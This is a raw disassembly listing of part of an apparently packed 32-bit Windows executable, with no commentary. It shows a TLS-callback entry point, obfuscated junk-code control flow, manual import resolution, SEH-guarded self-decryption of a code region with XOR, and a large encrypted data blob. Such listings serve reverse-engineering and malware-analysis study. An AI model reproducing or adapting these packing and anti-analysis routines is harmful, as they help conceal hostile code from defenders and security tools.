dd 815F0000h, 0DDB3E9CFh, 0F5880FE3h, 0FFFFE0h, 0E5E9D2F7h
dd 0FFFFE0h
db 0
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42EC99: ; CODE XREF: sub_42E407:loc_42CAA2j
mov byte ptr [edx], 9
xchg ebp, [esp+0]
mov edx, ebp
pop ebp
xchg esi, [esp-4+arg_0]
push edx
mov edx, ecx
jmp loc_42D1AB
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D877
loc_42ECAF: ; CODE XREF: sub_42D877-320j
pop eax
or eax, 0FE47626h
push edi
push 0AC12FD0Bh
jmp loc_42E08F
; END OF FUNCTION CHUNK FOR sub_42D877
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
loc_42ECC3: ; CODE XREF: lsqvqpii:loc_42E8AAj
adc edi, 1246D697h
mov esi, 0F12E9EBFh
or edx, 7B6A4FBCh
sub edx, 48E81846h
push (offset loc_42E0DE+1)
jmp locret_42D80E
; =============== S U B R O U T I N E =======================================
sub_42ECE4 proc near ; CODE XREF: lsqvqpii:0042D0A9j
; sub_42D877:loc_42EA49p
xchg eax, [esp+0]
pop eax
add edi, 1B5BFBDAh
push offset loc_42E9AE
jmp nullsub_12
sub_42ECE4 endp
; ---------------------------------------------------------------------------
dd 0EA810000h, 24505356h, 3E52C281h, 7E9BD59h, 0FFFFEAh
db 0
; ---------------------------------------------------------------------------
locret_42ED0D: ; CODE XREF: lsqvqpii:0042DBEAj
retn
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E6D7
loc_42ED0E: ; CODE XREF: sub_42E6D7+8j
jmp nullsub_16
; END OF FUNCTION CHUNK FOR sub_42E6D7
; ---------------------------------------------------------------------------
align 4
loc_42ED14: ; CODE XREF: lsqvqpii:0042E0F7j
jmp near ptr dword_42DA2C+0Bh
; ---------------------------------------------------------------------------
align 2
dw 9368h
db 90h
db 0D7h, 9Eh, 5Ah
dd 1FF2CA81h, 0DAE80FCAh, 0FFFFECh
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42E5DE
loc_42ED2C: ; CODE XREF: sub_42E5DE+13j
jmp loc_42D358
; END OF FUNCTION CHUNK FOR sub_42E5DE
; ---------------------------------------------------------------------------
align 2
adc esi, eax
; =============== S U B R O U T I N E =======================================
sub_42ED34 proc near ; CODE XREF: lsqvqpii:loc_42EDAFp
xchg edi, [esp+0]
pop edi
mov byte ptr [ebx], 9Dh
pop ebx
push ebx
jmp near ptr dword_42CC24+2Ah
sub_42ED34 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42D877
loc_42ED42: ; CODE XREF: lsqvqpii:loc_42E1C5p
; sub_42D877+D2Ej
xchg esi, [esp+3E34h+var_3E34]
pop esi
push ecx
call sub_42DC4F
loc_42ED4C: ; CODE XREF: lsqvqpii:0042D977j
add cl, ch
fsub st(5), st
; END OF FUNCTION CHUNK FOR sub_42D877
; ---------------------------------------------------------------------------
db 2 dup(0FFh), 0
; ---------------------------------------------------------------------------
loc_42ED53: ; CODE XREF: lsqvqpii:0042D64Bj
rol esi, 17h
; START OF FUNCTION CHUNK FOR sub_42E407
loc_42ED56: ; CODE XREF: sub_42E407:loc_42CE64j
sbb eax, esi
jmp loc_42CFBA
; END OF FUNCTION CHUNK FOR sub_42E407
; ---------------------------------------------------------------------------
popf
jmp sub_42E930
; ---------------------------------------------------------------------------
align 4
dd 0E9EB8B00h, 0FFFFEC85h, 42CB9068h, 0E92FE900h, 0C681FFFFh
dd 0E36662FCh, 59240C87h, 25A16857h, 0C8708A4h, 0E9F98B24h
dd 0FFFFE3B4h, 0C5030000h, 42D43868h, 0DF0CE900h
db 2 dup(0FFh)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42EB44
loc_42ED9E: ; CODE XREF: sub_42EB44:loc_42D5ABj
mov byte ptr [eax], 8Ah
pop eax
add edi, 76275B16h
add edi, ebp
jmp loc_42D15E
; END OF FUNCTION CHUNK FOR sub_42EB44
; ---------------------------------------------------------------------------
loc_42EDAF: ; CODE XREF: lsqvqpii:0042D90Dj
call sub_42ED34
add cl, ch
mov al, 0F6h
; ---------------------------------------------------------------------------
db 2 dup(0FFh), 0
; =============== S U B R O U T I N E =======================================
sub_42EDBB proc near ; CODE XREF: sub_42D877:loc_42EA92p
; FUNCTION CHUNK AT 0042CF43 SIZE 00000014 BYTES
; FUNCTION CHUNK AT 0042CF9D SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042D810 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042DF60 SIZE 00000005 BYTES
; FUNCTION CHUNK AT 0042E722 SIZE 0000000A BYTES
; FUNCTION CHUNK AT 0042E7D7 SIZE 00000009 BYTES
; FUNCTION CHUNK AT 0042EBA5 SIZE 00000010 BYTES
; FUNCTION CHUNK AT 0042EC22 SIZE 00000005 BYTES
xchg eax, [esp+0]
pop eax
jnz loc_42EBA5
jno loc_42CF43
push offset loc_42E868
jmp loc_42D810
sub_42EDBB endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
locret_42EDD7: ; CODE XREF: lsqvqpii:loc_42D870j
retn
; ---------------------------------------------------------------------------
db 2 dup(0)
; ---------------------------------------------------------------------------
; START OF FUNCTION CHUNK FOR sub_42CF38
loc_42EDDA: ; CODE XREF: sub_42CF38+5j
jmp loc_42E650
; END OF FUNCTION CHUNK FOR sub_42CF38
; ---------------------------------------------------------------------------
align 10h
locret_42EDE0: ; CODE XREF: lsqvqpii:0042D8B3j
retn
; ---------------------------------------------------------------------------
loc_42EDE1: ; CODE XREF: lsqvqpii:0042D682j
jmp loc_42CA86
; ---------------------------------------------------------------------------
db 0
; ---------------------------------------------------------------------------
loc_42EDE7: ; CODE XREF: lsqvqpii:0042E3EEj
add edx, 0BCCF7ABh
push offset loc_42D0EE
jmp locret_42D9E4
; ---------------------------------------------------------------------------
align 4
dd 0A0D78100h, 0E9831959h, 0FFFFFFB7h, 0C0F70000h, 0D05CC54Eh
dd 0FFFD6FE9h
; ---------------------------------------------------------------------------
inc ebx
loc_42EE12: ; CODE XREF: lsqvqpii:0042DCC0j
jmp loc_42DE92
; ---------------------------------------------------------------------------
db 0E9h
dd 0FFFFEA53h, 14870000h, 5A585224h, 5A32C081h, 0E8818A0Eh
dd 228969A2h, 0A75BF081h, 1DE9DB62h, 0FFFFECh
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42EE3C proc near ; CODE XREF: sub_42DCC5+Ap
var_C = dword ptr -0Ch
var_8 = dword ptr -8
var_4 = dword ptr -4
; FUNCTION CHUNK AT 0042EF94 SIZE 0000000B BYTES
push ebp
mov ebp, esp
add esp, 0FFFFFFF4h
push esi
push edi
push ebx
mov esi, offset dword_4173C8
mov eax, 400000h
mov [ebp+var_4], eax
mov edx, eax
loc_42EE54: ; CODE XREF: sub_42EE3C+15Ej
mov eax, [esi+0Ch]
or eax, eax
jz loc_42EEED
add eax, edx
mov ebx, eax
push eax
call ds:dword_4210B4 ; GetModuleHandleA
or eax, eax
jnz loc_42EE81
push ebx
call ds:dword_4210B8 ; LoadLibraryA
or eax, eax
jz loc_42EEE5
loc_42EE81: ; CODE XREF: sub_42EE3C+30j
mov [ebp+var_8], eax
push 0
pop [ebp+var_C]
loc_42EE89: ; CODE XREF: sub_42EE3C+A2j
mov eax, [esi]
or eax, eax
mov edx, [ebp+var_4]
jnz loc_42EE99
mov eax, [esi+10h]
loc_42EE99: ; CODE XREF: sub_42EE3C+54j
add eax, edx
add eax, [ebp+var_C]
mov ebx, [eax]
mov edi, [esi+10h]
add edi, edx
add edi, [ebp+var_C]
or ebx, ebx
jz loc_42EF94
test ebx, 80000000h
jnz loc_42EEC0
lea ebx, [ebx+edx+2]
loc_42EEC0: ; CODE XREF: sub_42EE3C+7Aj
and ebx, 7FFFFFFFh
push ebx
push [ebp+var_8]
call ds:dword_4210BC ; GetProcAddress
or eax, eax
jz loc_42EEE5
mov [edi], eax
add [ebp+var_C], 4
jmp loc_42EE89
; ---------------------------------------------------------------------------
align 4
db 0
; ---------------------------------------------------------------------------
loc_42EEE5: ; CODE XREF: sub_42EE3C+3Fj
; sub_42EE3C+96j
push ebx
mov eax, ebx
call sub_42EEF4
loc_42EEED: ; CODE XREF: sub_42EE3C+1Dj
pop ebx
pop edi
pop esi
mov esp, ebp
pop ebp
retn
sub_42EE3C endp ; sp-analysis failed
; =============== S U B R O U T I N E =======================================
; Attributes: bp-based frame
sub_42EEF4 proc near ; CODE XREF: sub_42EE3C+ACp
var_108 = dword ptr -108h
var_104 = dword ptr -104h
var_100 = dword ptr -100h
var_FC = dword ptr -0FCh
var_F8 = dword ptr -0F8h
push ebp
mov ebp, esp
add esp, 0FFFFFEF8h
mov [ebp+var_104], eax
mov [ebp+var_100], 276E6143h
mov [ebp+var_FC], 6F6C2074h
mov [ebp+var_F8], 206461h
mov [ebp+var_108], 0Bh
loc_42EF2B: ; CODE XREF: sub_42EEF4+99j
mov eax, [ebp+var_104]
cmp byte ptr [eax], 0
jnz loc_42EF6C
mov eax, [ebp+var_108]
mov byte ptr [ebp+eax+var_100], 0
push 2010h
push 0
lea eax, [ebp+var_100]
push eax
push 0
call dword ptr ds:21104h
push 0FFFFFFFFh
call ds:dword_4210C0 ; ExitProcess
mov esp, ebp
pop ebp
retn
; ---------------------------------------------------------------------------
align 4
loc_42EF6C: ; CODE XREF: sub_42EEF4+40j
mov eax, [ebp+var_108]
mov edx, [ebp+var_104]
mov dl, [edx]
mov byte ptr [ebp+eax+var_100], dl
inc [ebp+var_108]
inc [ebp+var_104]
jmp loc_42EF2B
sub_42EEF4 endp
; ---------------------------------------------------------------------------
align 4
; START OF FUNCTION CHUNK FOR sub_42EE3C
loc_42EF94: ; CODE XREF: sub_42EE3C+6Ej
add esi, 14h
mov edx, [ebp+var_4]
jmp loc_42EE54
; END OF FUNCTION CHUNK FOR sub_42EE3C
; ---------------------------------------------------------------------------
align 10h
db 0
; =============== S U B R O U T I N E =======================================
sub_42EFA1 proc near ; CODE XREF: sub_42DCC5+4p
; lsqvqpii:0042F0A4p ...
mov eax, offset loc_42CA86
locret_42EFA6: ; DATA XREF: lsqvqpii:0042EFAFo
retn
sub_42EFA1 endp
; ---------------------------------------------------------------------------
push ebx
push ecx
push esi
push edi
push eax
mov ebx, [esp]
sub ebx, offset locret_42EFA6
mov eax, 1D5Ah
push eax
push 4
push 1000h
push eax
push 0
mov eax, offset dword_4210C4
mov eax, [eax+ebx]
call eax
pop ecx
mov edx, offset loc_42CA86
add edx, ebx
push edx
push ebx
push eax
mov edi, eax
mov esi, edx
cld
rep movsb
mov ecx, offset sub_42C902
add ecx, ebx
call ecx
pop eax
mov ebx, [esp]
push 8000h
push 0
push eax
mov eax, 4210C8h
mov eax, [eax+ebx]
call eax
pop ecx
pop eax
pop ebx
sub ebx, 5
mov byte ptr [ebx], 0B8h
inc ebx
mov [ebx], eax
add ebx, 4
mov byte ptr [ebx], 0C3h
or ecx, ecx
jz short loc_42F05C
mov ebx, eax
call loc_42F0BD
cld
lodsd
cmp eax, 0FFFFFFFFh
jz short loc_42F05C
push ebx
mov ebx, ecx
loc_42F027: ; CODE XREF: lsqvqpii:0042F038j
; lsqvqpii:0042F04Bj ...
add ebx, eax
add [ebx], ecx
add ebx, 4
lodsb
cmp al, 0FEh
jnb short loc_42F03A
and eax, 0FFh
jmp short loc_42F027
; ---------------------------------------------------------------------------
loc_42F03A: ; CODE XREF: lsqvqpii:0042F031j
add ebx, 0FEh
or eax, eax
jp short loc_42F04D
lodsw
and eax, 0FFFFh
jmp short loc_42F027
; ---------------------------------------------------------------------------
loc_42F04D: ; CODE XREF: lsqvqpii:0042F042j
lodsd
dec esi
and eax, 0FFFFFFh
cmp eax, 0FFFFFFh
jnz short loc_42F027
pop eax
loc_42F05C: ; CODE XREF: lsqvqpii:0042F014j
; lsqvqpii:0042F022j
pop edi
pop esi
pop ecx
pop ebx
retn
; ---------------------------------------------------------------------------
db 75h, 2Eh, 0Fh
dd 0BC95054Eh, 94C5EE1Ah, 0FAB2592h, 0E928BF64h, 0E35C860Eh
dd 23B6F950h, 0E008ED1Eh, 1D59E15Fh, 0B55B439Ch, 287C887h
dd 7ADB49D3h, 7CDE19A9h, 0C1A5BBA0h, 1226EAF4h, 7AA2C2BAh
dd 0FEDC2910h
; ---------------------------------------------------------------------------
db 2Eh ; DATA XREF: starto
call sub_42EFA1
add eax, 1347h
jmp eax
; =============== S U B R O U T I N E =======================================
public TlsCallback_0
TlsCallback_0 proc near ; DATA XREF: lsqvqpii:TlsCallbackso
call sub_42EFA1
add eax, 138Ah
jmp eax
TlsCallback_0 endp
; ---------------------------------------------------------------------------
loc_42F0BD: ; CODE XREF: lsqvqpii:0042F018p
call sub_42F0C6
; ---------------------------------------------------------------------------
dw 0FFFFh
db 2 dup(0FFh)
; =============== S U B R O U T I N E =======================================
sub_42F0C6 proc near ; CODE XREF: lsqvqpii:loc_42F0BDp
pop esi
retn
sub_42F0C6 endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 0
; =============== S U B R O U T I N E =======================================
sub_42F0C9 proc near ; CODE XREF: sub_42F0DC+2Ep
pusha
push ebp
mov ebp, esp
call sub_42F0DC
call sub_42F17A
jmp loc_42F133
sub_42F0C9 endp
; =============== S U B R O U T I N E =======================================
sub_42F0DC proc near ; CODE XREF: sub_42F0C9+4p
var_8 = dword ptr -8
push dword ptr fs:0
mov fs:0, esp
xor ecx, ecx
push 80000000h
push ecx
push ecx
push ecx
push 80000000h
push ecx
push 800h
push ecx
push 1000h
push ecx
push ecx
push 80000000h
call sub_42F0C9
add [ecx], dh
rcl byte ptr [edx+52h], cl
push edx
push 80000000h
push 4
push 80000000h
push 80000000h
push edx
push edx
push edx
push edx
call ds:dword_4210B4 ; GetModuleHandleA
loc_42F133: ; CODE XREF: sub_42F0C9+Ej
sub edx, edx
sub ecx, ecx
mov cl, 16h
loc_42F139: ; CODE XREF: sub_42F0DC+5Fj
inc edx
dec ecx
jnz short loc_42F139
call sub_42F177
sub ecx, 0FFFFFFBBh
push ecx
mov esi, 243Ch
loc_42F14E: ; CODE XREF: sub_42F0DC+7Fj
xchg al, [ecx]
xor ax, dx
xchg al, [ecx]
inc ecx
inc edx
dec esi
cmp esi, 0
jnz short loc_42F14E
pop ecx
xchg ebp, fs:0
mov esp, ebp
pop dword ptr fs:0
lea ebp, [ebp+8]
leave
mov [esp+20h+var_8], ecx
popa
jmp ecx
sub_42F0DC endp
; =============== S U B R O U T I N E =======================================
sub_42F177 proc near ; CODE XREF: sub_42F0DC+61p
pop ecx
push ecx
retn
sub_42F177 endp
; =============== S U B R O U T I N E =======================================
sub_42F17A proc near ; CODE XREF: sub_42F0C9+9p
arg_C = dword ptr 10h
mov eax, [esp+arg_C]
pop dword ptr [eax+0B8h]
xor eax, eax
retn
sub_42F17A endp ; sp-analysis failed
; ---------------------------------------------------------------------------
db 86h, 0FFh
db 18h, 19h, 1Ah
dd 3A19971Bh, 60AA0E8h, 26252423h, 0B2A0A827h, 2E2D0587h
dd 36156CA4h, 6FC91947h, 138988BEh, 86B43C3Bh, 4241698Bh
dd 626AFCC3h, 3FA14847h, 7ED54F46h, 0D951506Bh, 65AA5608h
dd 0C2D250BCh, 5E5D786Ah, 373A53A0h, 4209E5F6h, 6A696D63h
dd 6E8EED6Bh, 0F38E8F9Fh, 3665729Eh, 5E05F377h, 42C8F17Fh
dd 3B81C04Bh, 86858483h, 0F1082C74h, 0E7E5D8C5h, 199CE5FCh
dd 9218A8D0h, 0A218FE8Fh, 96E9D9CBh, 0A3A14B1Eh, 44D0A4A3h
dd 0A9D1F82Ch, 8EDF2778h, 0B1A9FA24h, 0B518E540h, 45C13974h
dd 0CAD8FBBBh, 0BA40DBCAh, 0A9B794C0h, 4BDBBDA4h, 0AA8CCBB3h
dd 0DBA4A2ABh, 0B3DEAC52h, 0AED9ABA4h, 870A3EDEh, 0EEC82382h
dd 0C2976FC7h, 0E51AEBBEh, 65A3E85Ch, 9F2EC95h, 0F572C078h
dd 0FAF51004h, 92BEFCFBh, 4A647390h, 6A616A62h, 0F55A0862h
dd 328885DDh, 0FA11503Ah, 1615141Eh, 7B7C6A54h, 6858796Fh
dd 63554E7Ah, 0F0DA7723h, 1F69ADAEh, 23C52C6Bh, 7531302Fh
dd 57794056h, 487C4C44h, 3E4F5349h, 0CB97BF6Ch, 67000C6h
dd 4A39A047h, 8EC84C4Bh, 0AD01713Bh, 166010C6h, 2F99DD57h
dd 8CD8D14Bh, 0E861204Eh, 88D9B33h, 81696867h, 52F89317h
dd 8571305Ah, 364145F6h, 7A797877h, 0F36308FBh, 0C2B5B5CAh
dd 0A2F90F83h, 12C2C83h, 0CEB43E16h, 24241B8Fh, 1D95D4AAh
dd 0DAA0222Ah, 0C45EC19Bh, 0A2CBA0F5h, 0A6CFA4C9h, 0AEA9A9CFh
dd 0C46927ABh, 0BEDBE0AFh, 544A7038h, 89E6ECE1h, 778EBCBBh
dd 3D3E1A57h, 6750493Ch, 98C988D6h, 319D9D9Ah, 92E4905Ah
dd 0F61157D3h, 632B5214h, 0DEDDFE84h, 0E0A1F0EFh, 251C0635h
dd 2E94078Bh, 1A65B04Eh, 434D990Ch, 211D88A3h, 0BE745C92h
dd 0CF3E208Bh, 66B9B8EEh, 13C7F1E0h, 4BDEC436h, 7A45A945h
dd 0DE788EDCh, 2BF7A8Ch, 0B00B7B5h, 2A957995h, 0EC25Dh
dd 0F21E9BF6h, 0DB784527h, 0DAE505D3h, 83B249C2h, 0ABEE4863h
dd 0BF9A97Ah, 94C4E00Bh, 26BA92F7h, 0C7122793h, 8E519153h
dd 355A38BAh, 76E9C82Bh, 967A23C3h, 1D42B47Dh, 6A8500C3h
dd 0D69CE5F7h, 9A4D9806h, 2EB16DA9h, 0F1A70B1h, 0D60989C7h
dd 0A692C8E6h, 811EAA46h, 0CA802D9Ch, 6D794C4Fh, 985901BCh
dd 0A3506407h, 0FAC500BBh, 0A4AA49E2h, 0E70E6843h, 0F202D628h
dd 0C0A94B4Bh, 1F199F37h, 28B08D7Eh, 4582C4E7h, 0DAC4C90h
dd 0ACE82DFh, 0E25EA0F4h, 2BDE9476h, 0AB5559Bh, 2319881Ch
dd 70E9F7D3h, 996EDBB9h, 0BBAF5091h, 0F66D9C47h, 2BD40C3h
dd 0CB3E7496h, 0EA55B57Bh, 82962CFAh, 8D32A636h, 0C661848Dh
dd 1A61F05Bh, 0BE083CE5h, 0A377DFEFh, 0FE60BC67h, 0DF4A208Ah
dd 66B9B98Fh, 13AD32BBh, 9EC41B87h, 9205D00Eh, 36A95CEAh
dd 3D83BC6Ah, 0C701DEA8h, 20BF4A08h, 0F3E5B940h, 43E69833h
dd 1E4CC7E4h, 0DAA570AEh, 683E7840h, 6435B7DCh, 70A114F7h
dd 0C639A41Fh, 0AE2C331Fh, 0DFED38A6h, 0CE06D772h, 0B78CE37Bh
dd 36DCCC12h, 113619C3h, 0DE43B2FFh, 922883ABh, 86192CCAh
dd 0C4E5C3Ch, 0AB3AFB98h, 9AA5450Fh, 5948CCF0h, 62AE9DE6h
dd 9664DFB7h, 3535E03Eh, 63F60D2Fh, 926D8BB1h, 7B09E18Ch
dd 8A7A10FBh, 5FAC536Eh, 0C9FD2830h, 5EB4E85Ah, 555C236Bh
dd 0C356AD4Eh, 32CD2B05h, 118C364Fh, 14983DE4h, 9D893CF9h
dd 145DA26Ch, 0BA516BAEh, 60F68148h, 0F1C04FDFh, 0CA07F879h
dd 1B0E91CAh, 0A67C50BBh, 7D699C2Fh, 4FB9A597h, 0A13E8B69h
dd 0EE982B4Dh, 699EC32h, 0FF663EB3h, 9C9A80A0h, 0B1035CBFh
dd 56A3C76Dh, 0A274468Bh, 94AD5F37h, 2071AB8Bh, 66F9E4DFh
dd 52C730D3h, 0C03BB6D6h, 9A906F6Bh, 6EA91CDAh, 0AA3D2C00h
dd 9E01DD99h, 2ABF9460h, 8633E034h, 0B0679819h, 6F12E75h
dd 0DAA55955h, 0FC58FC25h, 0F72218DCh, 3EE12113h, 75F0B914h
dd 0DB9E4810h, 0E760876Ch, 8E51B4C7h, 3A4FA4C2h, 850697AFh
dd 82D02966h, 5341B407h, 2A814C2Eh, 0BF993FFh, 0B25538A6h
dd 0BB4E5667h, 9AA54547h, 0D649AAE7h, 4DF24463h, 2E9121DCh
dd 0A343C979h, 831E6933h, 0E741D905h, 1ED12562h, 0CFCD8544h
dd 33A0DC2Fh, 42BD5D4Fh, 3EEB6087h, 3FAA3F01h, 469999D3h
dd 47D2D876h, 0EC1B5298h, 8EAEE64Dh, 0FEDB7DA5h, 0E25DC8B2h
dd 0DB65F124h, 5A9215A9h, 0CF4F25EDh, 0B70A9D7Fh, 9B6E7247h
dd 0BA8565B7h, 0A03F58A4h, 55EB7815h, 6B11E168h, 2E96806Bh
dd 9366BB6Fh, 728D6D8Fh, 0AC5B848Dh, 2F1565A4h, 7E703CCFh
dd 351D88E2h, 0F2E8351Ch, 0B5E274AFh, 26CC204Ah, 915B0BD3h
dd 8E67D822h, 2D51903Bh, 319C910h, 2F8E8C3h, 1D47E823h
dd 0C4A74415h, 0CE7D5840h, 98679819h, 5B59D1D8h, 1A2030DBh
dd 7E9A203Bh, 62DD4C1Eh, 0DD30DDC4h, 0B6F0D97Bh, 53B98C29h
dd 0FC2CF9BBh, 0DE11A4CAh, 6B13802Fh, 89BA4CFFh, 0C208C056h
dd 87817117h, 1E6A0FDFh, 39664DBh, 0F20DEE0Fh, 0D14CA88Fh
dd 0F1A2324h, 0D6098933h, 0E61C9088h, 7EE1559Fh, 0F6A05F5Ch
dd 0F794C6Ah, 6DD243B6h, 16D12D8Ah, 348548E3h, 0D329DC46h
dd 43FD680Eh, 1E8134D7h, 0AA55C06Bh, 17D9AC3Fh, 0A7724BA5h
dd 0EE31F1EFh, 0DE89E9B0h, 0F472090Fh, 0A0010B4Dh, 0F044E716h
dd 6E900DAAh, 0C3532ED0h, 8E1E8C70h, 51A31710h, 0CEB739ADh
dd 85059C5Ah, 67D15A37h, 2C8274F9h, 8F61E14Eh, 63F58539h
dd 8E58F2h, 0CB45E582h, 7F09991Dh, 26B95DC2h, 0E37AE68Ah
dd 9B139737h, 1AD054EAh, 39AE3ADh, 12EC4BA0h, 0AF3496C4h
dd 1F57F54Fh, 53DD3382h, 0A70F80D7h, 0DD01D036h, 5EB42599h
dd 0B43178DAh, 0B269F916h, 0F943664h, 0B5F155EFh, 0F3619020h
dd 50EE384Fh, 4EC07AA4h, 0FE1A8838h, 4FC1891Fh, 20852CE7h
dd 8E75C5A2h, 5F29B93Dh, 138475FBh, 0FB6EC797h, 0B3248064h
dd 0FF869FFh, 0F27C2BFFh, 9721B175h, 5CC57026h, 0EE9012B2h
dd 0D608CF6Ah, 64E96D24h, 2D8438DEh, 0CA50DA62h, 0A00D6918h
dd 0C648D43Ah, 4EB4096Eh, 0B7F175FCh, 0DA5CB800h, 2C9C2066h
dd 5FE458B3h, 0DE30876Bh, 36B4C96Bh, 57E171B5h, 8B1CA5E9h
dd 3F62B05Ah, 7BEC28BBh, 963C98D3h, 0F921D51Fh, 6FA314AEh
dd 0C9503FEDh, 0B72AF87Dh, 7CF47233h, 0D4AA3988h, 0F628E46Ah
dd 66DC470Fh, 2CA31DDBh, 0AB6CF24Ah, 76F8A17Fh, 5A831E5h
dd 0C777E2A8h, 55659537h, 10A759FFh, 0EF78E48Ah, 9711A456h
dd 4AF447E5h, 89CFC90h, 71C24A83h, 0CE2297E2h, 196AE26Bh
dd 5DA2F8Ah, 0B014AEB1h, 0CE01C024h, 4FB62F99h, 0F46A5FCCh
dd 0C675FD3Dh, 1A941727h, 0BFC959DDh, 0E47D880Eh, 16A82A4Ah
dd 3EE06792h, 0CC018518h, 72DCA076h, 528815FAh, 0EB74C894h
dd 4316D00Bh, 1B8C68DCh, 0E750C197h, 0B7079B43h, 3C165C7h
dd 0D3190992h, 822CB55Dh, 59D46D31h, 0F3A31694h, 8049D963h
dd 57E97A0Ah, 12A038D6h, 0CA56CF67h, 92107E08h, 0FE44FE36h
dd 3A9F6462h, 8FEF74FAh, 0C479A81Ch, 2E941E6Ah, 6DE453B2h
dd 0CF3EAF3Fh, 3297AC51h, 53E86AB0h, 8737A1D3h, 1425D577h
dd 73FB3FBBh, 0B238BCC2h, 0DB42FB05h, 44F513B8h, 0C34B0FEBh
dd 82088C72h, 6BF24B35h, 0C2802388h, 0B51DD22Fh, 76DC4D31h
dd 3DA427F2h, 847AE95Fh, 4BEDA27Fh, 1B9B28D2h, 0C87EF382h
dd 6E069508h, 56A753E6h, 0D252FCADh, 9727BA52h, 4B545E7h
dd 389C3ABh, 7DDF68BDh, 0BD2281E4h, 1F6EFF6Fh, 42E75C81h
dd 0B6129AD3h, 0C875D732h
dd 5FA13282h, 0A31440DEh, 0CB7FF71Eh, 39850A27h, 0BFD159E9h
dd 0E27B9519h, 2FB12956h, 4CCE7992h, 0FE27E032h, 4FD79973h
dd 378917F0h, 0E763D094h, 5511B715h, 1F9A72EEh, 0EB4FDC90h
dd 89419379h, 1EC641F8h, 0F36D1E9Eh, 9E2ED843h, 5DD47708h
dd 0FF8E13B4h, 0B92ABC7Bh, 41F8660Dh, 1B8654C3h, 0B95AC87Fh
dd 88006E2Bh, 9248D532h, 38B20175h, 94E063BBh, 0D95ADC0Bh
dd 36980360h, 6AEF7DD7h, 0CF3BB20Eh, 29B5EF4Bh, 53C57D80h
dd 8B1DA0C9h, 2E4BF91Bh, 73E70EAAh, 96388FD7h, 0D04FFB34h
dd 6F8103AEh, 0C74D1FFBh, 9B6D9D67h, 7CF45029h, 0F5B13595h
dd 0B707F95Fh, 76D36143h, 3BAF06F2h, 8F65CF5Fh, 6AEBB911h
dd 1C8458F2h, 0C043E193h, 7F37843Eh, 3F8F58EEh, 0E31DED8Fh
dd 0AE208273h, 648713C2h, 66B5C09Bh, 51CA5D81h, 0AB228BEBh
dd 7A7CF570h, 79CE39BDh, 89138DF3h, 0E644CD32h, 4F8740AAh
dd 0A32C7DD8h, 0D35BE101h, 2B94314Bh, 88A571E3h, 0F35A9B2Ah
dd 0EBC1E57h, 46E47182h, 63F6E00Ah, 7771E71Ah, 52ED78FBh
dd 0AA5D292Fh, 5045BA78h, 25B94DAAh, 4EB6ADA9h, 8E957F47h
dd 3BD56AFFh, 13E63FADh, 0F20DEDC3h, 0D1BDC0E4h, 0DAD0844Eh
dd 0DE8D3F0Fh, 0A7105FA0h, 7EA14106h, 0A0655F38h, 1977665Fh
dd 0D2181CC6h, 4111E107h, 0FA85803Fh, 78418C6Fh, 0C9FD686Ah
dd 95815E03h, 0C215AAA7h, 46C9AC3Fh, 58DF1A99h, 87BFACA7h
dd 5A4FB01Bh, 0E9D92F9Eh, 0A2682C36h, 4178CB77h, 4AC05C5Eh
dd 0D2C6C99Fh, 5AE0734Fh, 0ED916452h, 0BA50DDF7h, 0F569DC3Fh
dd 0FDEE7F92h, 8A44FF45h, 6715C01Eh, 6BA78F0h, 8D99B0B3h
dd 2BBA7B18h, 1A25C5B3h, 7528B302h, 0E1F588E3h, 759E2BC8h
dd 0A80F80Eh, 8E7601DFh, 0FAAD38F0h, 31AE1BB5h, 4FD915B0h
dd 0F62C5CAFh, 4DF0E3F7h, 9E0197A2h, 0D52A5D03h, 999EA740h
dd 0B2E5CDB0h, 33F14427h, 0C0B1DD1Ah, 5F3AFC0Fh, 7F73CDAEh
dd 6AF014B7h, 0DB25B11Ah, 4A2C334Eh, 0D5ED38A6h, 1BEE80C3h
dd 3A05E547h, 76EDDEF2h, 823D4096h, 5F1CF417h, 2A8F4346h
dd 0BE606FFh, 0B257D6A6h, 0E3E35467h, 0B0E554FBh, 0DA8D3F0Fh
dd 7618CF05h, 0B3E114ADh, 9CB0672Bh, 0C2794C45h, 0CF2D9253h
dd 24D00EC4h, 5B6EFBAh, 0A3D6D81Ch, 0B289A886h, 1E813FBFh
dd 0F1854B6Bh, 0CBE5FC3Ch, 72976A46h, 0E2CB4FA7h, 0D125B01Ah
dd 16887445h, 0C9A5CBA3h, 75AAF4BCh, 7E94C638h, 53DB0B9Ah
dd 15EE3AF8h, 0DA1A7348h, 0EA09DBA8h, 0A729F67Bh, 0FD424211h
dd 1EF48402h, 0E6D1032Bh, 33ED79F4h, 0A5E658F3h, 69366E64h
dd 0F2659A5Ch, 559EB58Fh, 0FA07E220h, 0FE61DDDFh, 2BF7AD8Bh
dd 13307275h, 87C4FB23h, 0CE11D2C1h, 720D143Eh, 703CD5ADh
dd 357DA8B5h, 765477B5h, 2AD540EBh, 0CFB4ADE2h, 390DD868h
dd 2EC70EBAh, 0FED9B39Bh, 1206FC47h, 62DD489Ah, 3CA9F876h
dd 0E221E04Bh, 26B9CD1Bh, 677DED6Ch, 729AA487h, 3E6154F6h
dd 26E91CAEh, 86D5A8A9h, 8841F417h, 3D9554F9h, 0B395F900h
dd 3B7ED873h, 2FB593EAh, 0CBB470DBh, 0BC18BE65h, 229D6062h
dd 81B314B7h, 8A00FC9Eh, 10FC9A5Fh, 0C67DE327h, 4ED0606Fh
dd 4E7A47BBh, 0B62BFC4Bh, 6A689703h, 478174E1h, 0BC2100EEh
dd 0CD89B8DCh, 608D7227h, 112793F6h, 1A107C8Eh, 0D60C25CFh
dd 1D0B18D6h, 0FE14A8E2h, 4EA2EDCBh, 0E2531BCDh, 0D6FA754Bh
